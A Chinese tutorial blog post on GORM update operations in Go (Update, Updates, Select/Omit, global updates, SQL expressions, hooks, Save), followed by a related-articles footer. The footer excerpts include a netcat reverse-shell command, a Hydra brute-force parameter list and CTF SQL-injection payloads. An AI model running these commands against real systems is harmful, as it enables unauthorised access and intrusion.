GoLong的学习之路(十七)基础工具之GORM(操作数据库)(更新)

书接上回,上回写道,GORM的查询和创建(插入数据),这回继续些增删改查的改和删的操作。

文章目录

  • 更新update
    • 修改单个列
    • 修改多个列
    • 修改选定字段
    • 批量更新新
      • 阻止全局更新
    • 使用 SQL 表达式更新
      • `注意`
    • 根据子查询进行更新
    • 不使用 Hook 和时间追踪
    • 返回修改行的数据
    • 检查字段是否有改变
    • 在 Update 时修改值
    • 其他手段更新(save)
  • 总结`注意`

更新update

修改单个列

当使用Update更新单个列时,它需要有任何条件,否则会引发错误ErrMissingWhereClause,详情查看Block Global Updates了解详细信息。当使用Model方法并且它的值有一个主值时,主键将被用来构建条件。

根据条件修改

db.Model(&User{}).Where("active = ?", true).Update("name", "hello")
// UPDATE users SET name='hello', updated_at='2013-11-17 21:34:10' WHERE active=true;

当用户ID为111

// User's ID is `111`:
db.Model(&user).Update("name", "hello")
// UPDATE users SET name='hello', updated_at='2013-11-17 21:34:10' WHERE id=111;

更新条件和模型值

db.Model(&user).Where("active = ?", true).Update("name", "hello")
// UPDATE users SET name='hello', updated_at='2013-11-17 21:34:10' WHERE id=111 AND active=true;

修改多个列

Updates支持使用structmap[string]接口{}进行更新。

注意:
当使用struct进行更新时,默认情况下只更新非零字段

使用' struct '更新属性,将只更新非零字段

db.Model(&user).Updates(User{Name: "hello", Age: 18, Active: false})
// UPDATE users SET name='hello', age=18, updated_at = '2013-11-17 21:34:10' WHERE id = 111;

使用map来更新属性,或者使用Select来指定要更新的字段这种情况下

使用' map '更新属性

db.Model(&user).Updates(map[string]interface{}{"name": "hello", "age": 18, "active": false})
// UPDATE users SET name='hello', age=18, active=false, updated_at='2013-11-17 21:34:10' WHERE id=111;

修改选定字段

使用' map '更新字段 Select

db.Model(&user).Select("name").Updates(map[string]interface{}{"name": "hello", "age": 18, "active": false})
// UPDATE users SET name='hello' WHERE id=111;

使用' map '更新字段 Qmit

db.Model(&user).Omit("name").Updates(map[string]interface{}{"name": "hello", "age": 18, "active": false})
// UPDATE users SET age=18, active=false, updated_at='2013-11-17 21:34:10' WHERE id=111;

使用Struct 跟新字段

db.Model(&user).Select("Name", "Age").Updates(User{Name: "new_name", Age: 0})
// UPDATE users SET name='new_name', age=0 WHERE id=111;

使用Struct 更新所有字段包括非0字段

db.Model(&user).Select("*").Updates(User{Name: "李四", Role: "admin", Age: 0})
db.Model(&user).Select("*").Omit("Role").Updates(User{Name: "李四", Role: "admin", Age: 0})

更新通知(钩子)
GORM允许钩子Beforeave, BeforeUpdate, AfterSave, AfterUpdate。这些方法将在更新记录时调用。

func (u *User) BeforeUpdate(tx *gorm.DB) (err error) {
    if u.Role == "admin" {
        return errors.New("admin user not allowed to update")
    }
    return
}

批量更新新

没有使用Model指定具有主键值的记录,GORM将执行批处理更新
使用struct进行更新

db.Model(User{}).Where("role = ?", "admin").Updates(User{Name: "hello", Age: 18})
// UPDATE users SET name='hello', age=18 WHERE role = 'admin';

使用Map进行更新

db.Table("users").Where("id IN ?", []int{10, 11}).Updates(map[string]interface{}{"name": "hello", "age": 18})
// UPDATE users SET name='hello', age=18 WHERE id IN (10, 11);

阻止全局更新

如果执行一个批处理更新,没有任何条件,GORM将不会运行它,并将返回ErrMissingWhereClause错误默认

这种情况下,必须使用某些条件或使用原始SQL启用AllowGlobalUpdate模式

错误案例

db.Model(&User{}).Update("name", "李四").Error // gorm.ErrMissingWhereClause

正确但是又不怎么正确的案例,比如:where 1=1

db.Model(&User{}).Where("1 = 1").Update("name", "李四")
// UPDATE users SET `name` = "李四" WHERE 1=1

正确方法

db.Session(&gorm.Session{AllowGlobalUpdate: true}).Model(&User{}).Update("name", "李四")
// UPDATE users SET `name` = "李四"
db.Exec("UPDATE users SET name = ?", "李四")
// UPDATE users SET name = "李四"

使用 SQL 表达式更新

GORM允许使用SQL表达式更新列

// product's ID is `3`
db.Model(&product).Update("price", gorm.Expr("price * ? + ?", 2, 100))
// UPDATE "products" SET "price" = price * 2 + 100, "updated_at" = '2013-11-17 21:34:10' WHERE "id" = 3;

db.Model(&product).Updates(map[string]interface{}{"price": gorm.Expr("price * ? + ?", 2, 100)})
// UPDATE "products" SET "price" = price * 2 + 100, "updated_at" = '2013-11-17 21:34:10' WHERE "id" = 3;

db.Model(&product).UpdateColumn("quantity", gorm.Expr("quantity - ?", 1))
// UPDATE "products" SET "quantity" = quantity - 1 WHERE "id" = 3;

db.Model(&product).Where("quantity > 1").UpdateColumn("quantity", gorm.Expr("quantity - ?", 1))
// UPDATE "products" SET "quantity" = quantity - 1 WHERE "id" = 3 AND quantity > 1;

GORM还允许使用自定义数据类型更新SQL表达式/上下文值

注意

这种方式很特别

// Create from customized data type
type Location struct {
    X, Y int
}

func (loc Location) GormValue(ctx context.Context, db *gorm.DB) clause.Expr {
  return clause.Expr{
    SQL:  "ST_PointFromText(?)",
    Vars: []interface{}{fmt.Sprintf("POINT(%d %d)", loc.X, loc.Y)},
  }
}

db.Model(&User{ID: 1}).Updates(User{
  Name:  "jinzhu",
  Location: Location{X: 100, Y: 100},
})
// UPDATE `user_with_points` SET `name`="jinzhu",`location`=ST_PointFromText("POINT(100 100)") WHERE `id` = 1

根据子查询进行更新

db.Model(&user).Update("company_name", db.Model(&Company{}).Select("name").Where("companies.id = users.company_id"))
// UPDATE "users" SET "company_name" = (SELECT name FROM companies WHERE companies.id = users.company_id);

db.Table("users as u").Where("name = ?", "李四").Update("company_name", db.Table("companies as c").Select("name").Where("c.id = u.company_id"))

db.Table("users as u").Where("name = ?", "李四").Updates(map[string]interface{}{"company_name": db.Table("companies as c").Select("name").Where("c.id = u.company_id")})

不使用 Hook 和时间追踪

如果你想跳过Hooks方法并且在更新时不跟踪更新时间,你可以使用UpdateColumn UpdateColumns,它的工作原理就像update, Updates

更新单列

db.Model(&user).UpdateColumn("name", "hello")
// UPDATE users SET name='hello' WHERE id = 111;

更新多列

db.Model(&user).UpdateColumns(User{Name: "hello", Age: 18})
// UPDATE users SET name='hello', age=18 WHERE id = 111;

更新选定的列

db.Model(&user).Select("name", "age").UpdateColumns(User{Name: "hello", Age: 0})
// UPDATE users SET name='hello', age=0 WHERE id = 111;

返回修改行的数据

返回所有行

var users []User
db.Model(&users).Clauses(clause.Returning{}).Where("role = ?", "admin").Update("salary", gorm.Expr("salary * ?", 2))
// UPDATE `users` SET `salary`=salary * 2,`updated_at`="2021-10-28 17:37:23.19" WHERE role = "admin" RETURNING *

返回指定列

db.Model(&users).Clauses(clause.Returning{Columns: []clause.Column{{Name: "name"}, {Name: "salary"}}}).Where("role = ?", "admin").Update("salary", gorm.Expr("salary * ?", 2))
// UPDATE `users` SET `salary`=salary * 2,`updated_at`="2021-10-28 17:37:23.19" WHERE role = "admin" RETURNING `name`, `salary`

检查字段是否有改变

GORM提供了Changed方法,可以在Before Update Hooks(通知)中使用,它将返回字段是否更改。

Changed方法只适用于Update、Updates方法,并且它只检查Update / Updates中的更新值是否等于模型值。如果它被改变并且没有被省略,它将返回true。

func (u *User) BeforeUpdate(tx *gorm.DB) (err error) {
  // if Role changed
    if tx.Statement.Changed("Role") {
    return errors.New("role not allowed to change")
    }

  if tx.Statement.Changed("Name", "Admin") { // if Name or Role changed
    tx.Statement.SetColumn("Age", 18)
  }

  // if any fields changed
    if tx.Statement.Changed() {
        tx.Statement.SetColumn("RefreshedAt", time.Now())
    }
    return nil
}

在 Update 时修改值

要更改Before Hooks中的更新值,你应该使用SetColumn,除非它是一个完整的保存更新和保存(save)

func (user *User) BeforeSave(tx *gorm.DB) (err error) {
  if pw, err := bcrypt.GenerateFromPassword(user.Password, 0); err == nil {
    tx.Statement.SetColumn("EncryptedPassword", pw)
  }

  if tx.Statement.Changed("Code") {
    user.Age += 20
    tx.Statement.SetColumn("Age", user.Age)
  }
}

db.Model(&user).Update("Name", "李四")

其他手段更新(save)

db.First(&user)

user.Name = "jinzhu 2"
user.Age = 100
db.Save(&user)
// UPDATE users SET name='jinzhu 2', age=100, birthday='2016-01-01', updated_at = '2013-11-17 21:34:10' WHERE id=111;

Save是一个组合功能。如果save value不包含主键,它将执行Create,否则将执行Update(包含所有字段)。

db.Save(&User{Name: "jinzhu", Age: 100})
// INSERT INTO `users` (`name`,`age`,`birthday`,`update_at`) VALUES ("jinzhu",100,"0000-00-00 00:00:00","0000-00-00 00:00:00")

db.Save(&User{ID: 1, Name: "jinzhu", Age: 100})
// UPDATE `users` SET `name`="jinzhu",`age`=100,`birthday`="0000-00-00 00:00:00",`update_at`="0000-00-00 00:00:00" WHERE `id` = 1

注意
不要使用Save 关于 Model,这是一个错误用法

总结注意

在很多时候修改字段的默认值的时候会失败。其中我遇到过这样的一个情况。就是在使用更新操作的时候。
我们需要将一个非零的字段改成0,此时就出问题了。无法修改。

案例:

mysql.DB.Model(&entiy.Member{}).Where("id=", 6).Update("member_name", "0")
	mysql.DB.Model(&entiy.Member{}).Select("member_name").Where("id=?", 3).Updates(&entiy.Member{MemberName: "0"})
	mysql.DB.Model(&entiy.Member{}).Where("id = ? ", 4).Updates(map[string]interface{}{"member_name": "0"})
	mysql.DB.Save(&entiy.Member{
		MemberName: "0",
		ID:         5,
	})

运行前
在这里插入图片描述
运行后
在这里插入图片描述
可以发现6号是没有改变的。

推荐用前两种。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/113325.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Centos7下生成https自签名证书

1、安装openssl yum install openssl2、生成带密码的私有秘钥文件 openssl genrsa -des3 -out server.key 2048使用带密码的私有秘钥文件时需要输入密码,这里直接输入:123456 3、生成不带密码的私有秘钥文件 openssl rsa -in server.key -out serve…

【tensorboard打开失败】No dashboards are active for the current data set.

这里我再跟视频学的时候,找了很多的指令,说是对应版本不一样,但是发现用了很多指令都可以弹出来跳转的url,那应该就不是输入指令的问题 直到我想把logs里面的文件删掉重新跑的时候,我突然注意到这里有中文字符&#xf…

【向生活低头】win7打印机共享给win11使用,win11无法连接问题的解决

打印机是跟win7的电脑连接的,然后试了很多方法,win11都没法添加该打印机去使用。 网上的方法乱七八糟啥都有,但试了以后,发现基本没什么用。 刚刚发现知乎上的一个回答是有用的,这里做记录以备后用。 1.打开控制面板的…

在Linux上通过NTLM认证连接到AD服务器(未完结)

这篇文章目前还没有实现具体的功能,只实现了明文登录,因为我缺少一些数据,比如通过密码生成hash,以及通过challenge生成response,我不知道怎么实现,因此这篇文章也是一个交流的文章,希望大佬看见…

Hydra(九头蛇海德拉)教程

Hydra 参数 hydra <参数> <IP地址> <服务名> 参数案例说明-l-l root登录账号-L-L userName.txt用户文件-p-l 123456登录密码-P-P passwd.txt密码文件-e-e nsrn 空密码 s 用户名即密码 r 用户名和密码相反&#xff08;如root的密码为toor&#xff09;-s-s 21指…

人工智能基础_机器学习011_梯度下降概念_梯度下降步骤_函数与导函数求解最优解---人工智能工作笔记0051

然后我们来看一下梯度下降,这里先看一个叫 无约束最优化问题,,值得是从一个问题的所有可能的备选方案中选最优的方案, 我们的知道,我们的正态分布这里,正规的一个正态分布,还有我们的正规方程,他的这个x,是正规的,比如上面画的这个曲线,他的这个x,就是大于0的对吧,而现实生活…

QT基础学习笔记

文章目录 1 概述1.1 优点1.2 QT成功使用案例1.3 安装教程1.3.1 在线安装流程1.3.2 离线安装流程 2 创建工程2.1 快捷键2.1.1 常用快捷键2.1.2 修改快捷键 2.2 proj文件 3 对象树4 信号和槽4.1 自定义信号和槽4.1.1 信号连接信号4.1.2 一个信号连接多个槽函数4.1.3 多个信号连接…

Jenkins中解决下载maven包巨慢的问题

背景介绍 我们在使用jenkins构建maven项目时由于依赖很多第三方jar包&#xff0c;默认会从maven中央仓库下载&#xff0c;由于maven中央仓库服务器是国外的&#xff0c;所以下载很慢&#xff0c;甚至会超时 解决办法 增加jenkins maven 源配置 如下图所示&#xff0c;增加m…

vue el-table-column 修改一整列的背景颜色

目录 修改表头以及一整列数据的背景颜色&#xff0c;效果如下&#xff1a; 总结 修改表头以及一整列数据的背景颜色&#xff0c;效果如下&#xff1a; 修改表头背景颜色&#xff1a;在el-table绑定header-cell-style 修改一整列的数据背景颜色&#xff1a;在el-table绑定:cel…

数据结构(四)--队列及面试常考的算法

一、队列介绍 1、定义 与栈相似&#xff0c;队列是另一种顺序存储元素的线性数据结构。栈与队列的最大差别在于栈是LIFO&#xff08;后进先出&#xff09;&#xff0c;而队列是FIFO&#xff0c;即先进先出。 2、优缺点及使用场景 优点&#xff1a;先进先出&#xff08;FIFO&…

Qt PingFang字体在Debian/Ubuntu上安装

1 下载ttf格式的字体库 2 将上图中的ttf文件拷贝到/usr/share/fonts/truetype 3 执行 fc-cache -f -v 4 如果qt程序字体效果未显示&#xff0c;可能与qt的字体路径有关 我这边是这样修改的&#xff1a;

CSS3中的字体和文本样式

CSS3优化了CSS 2.1的字体和文本属性&#xff0c;同时新增了各种文字特效&#xff0c;使网页文字更具表现力和感染力&#xff0c;丰富了网页设计效果&#xff0c;如自定义字体类型、更多的色彩模式、文本阴影、生态生成内容、各种特殊值、函数等。 1、字体样式 字体样式包括类…

生成独立运行的QT程序

前言 使用windeployqt程序生成独立运行的QT程序。 方法 1.在QT Creator使用release构建运行一下代码&#xff0c;不使用debug模式&#xff0c;将release文件夹中生成的***.exe文件复制到一个新的文件夹下。 2.打开 Qt 5.14.2(MinGW 7.3.0 64-bit) 进入exe文件所在的目录执…

2023年11月2日历史上的今天大事件早读

1082年11月02日宋徽宗出生 1861年11月02日辛酉政变 1910年11月02日中国社会学家和人类学家费孝通诞生 1910年11月02日畜生态学科的创始人汤逸人诞生 1917年11月02日《贝尔福宣言》和犹太复国主义 1917年11月02日美日订立“兰辛—石井协定”损害中国利益 1937年11月02日忻…

2022最新版-李宏毅机器学习深度学习课程-P26 自注意力机制

一、应用情境 输入任意长度个向量进行处理。 从输入看 文字处理&#xff08;自然语言处理&#xff09; 将word表示为向量 one-hotword-embedding声音信号处理 每个时间窗口&#xff08;Window, 25ms&#xff09;视为帧&#xff08;Frame&#xff09;,视为向量图 每个节点视为…

Spring Cloud的ElasticSearch的进阶学习

目录 数据聚合 Bucket示例 Metric示例 RestAPI实现聚合 自动补全 使用拼音分词 自定义分词器 实现自动补全 RestAPI实现自动补全功能 数据同步 同步调用 异步通知 监听binlog 数据聚合 聚合可以实现对文档数据的统计、分析、运算。聚合常见的有三类&#xff1a; …

[极客大挑战 2019]LoveSQL 1

题目环境&#xff1a;判断注入类型是否为数字型注入 admin 1 回显结果 否 是否为字符型注入 admin 1 回显结果 是 使用堆叠注入 采用密码参数进行注入 爆数据库1; show database();#回显结果 这里猜测注入语句某字段被过滤&#xff0c;或者是’;被过滤导致不能堆叠注入 爆字段数…

分析报告有样板了-奥威BI数据可视化报表模板

述职报告、月度数据分析报告、季度数据分析报告、区域数据分析报告……人在职场&#xff0c;数据分析报告少不了。那么&#xff0c;怎么才能在极短的时间内做出一张既好看又突出重点、分析逻辑在线的数据可视化分析报表&#xff1f;奥威BI软件的建议是采用BI数据可视化报表模板…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

opencv官网文档学习

文章最后有一些图片资源 1.图像处理基本使用 import cv2# 读取图像 image cv2.imread("images/1.png", cv2.IMREAD_GRAYSCALE) print("image:",image)# 显示图像 namedWindow cv2.namedWindow("images/1.png") cv2.imshow("images/1.pn…
最新文章